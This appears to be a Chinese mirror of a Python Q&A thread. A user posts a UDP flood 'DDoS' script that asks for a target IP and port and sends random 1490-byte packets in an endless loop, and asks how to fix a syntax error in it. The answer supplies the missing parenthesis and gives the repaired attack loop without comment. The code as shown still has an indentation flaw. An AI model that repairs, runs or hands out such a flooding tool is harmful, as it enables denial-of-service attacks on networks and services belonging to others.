如何在python代码中修复此错误?

2024-05-02 06:37:25 发布

您现在位置:Python中文网/ 问答频道 /正文

这段代码在Python2的github上可用,所以我对它做了一些修改,但现在,它说有语法错误,我不知道如何修复。 代码:

import sys
import os
import time
import socket
import random

#Code
from datetime import datetime
now = datetime.now()
hour = now.hour
minute = now.minute
day = now.day
month = now.month
year = now.year
################################################################################
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1490)
################################################################################
os.system("clear")
os.system("figlet DDos Attack")
print("DDoS_Tool")
print("Author   : ...")
print(" ")
ip = input("IP Target : ")
port = input("Port       : ")
print(" ")

os.system("clear")
os.system("figlet Attac Starting")
os.system("figlet Attack Starting")
print ("[                    ] 0% ")
time.sleep(2)
print ("[=====               ] 25%")
time.sleep(4)
print ("[==========          ] 50%")
time.sleep(3)
print( "[===============     ] 75%")
time.sleep(4)
print ("[====================] 100%")
time.sleep(1)
sent = 0

while True:
    try:
        sock.sendto(bytes, (ip,port))
        sent = sent + 1
        port = port + 1
        print ("Sent %s packet to %s throught port:%s"%(sent,ip,port)

        if port == 65534:
            port = 1

     except:
          print("ERROR, try again")
          time.sleep(2)
          exit()

这就是代码,它说有一个语法错误:

if port == 65534:

并且“:”被标记为红色

我不知道如何修理它


Tags: 代码importipdatetimetimeosportsleep
1条回答
网友
1楼 · 发布于 2024-05-02 06:37:25

您缺少打印语句的关闭日期:

while True:
    try:
        sock.sendto(bytes, (ip,port))
        sent = sent + 1
        port = port + 1
        print ("Sent %s packet to %s throught port:%s"%(sent,ip,port)) #here

        if port == 65534:
            port = 1

     except:
          print("ERROR, try again")
          time.sleep(2)
          exit()

相关问题 更多 >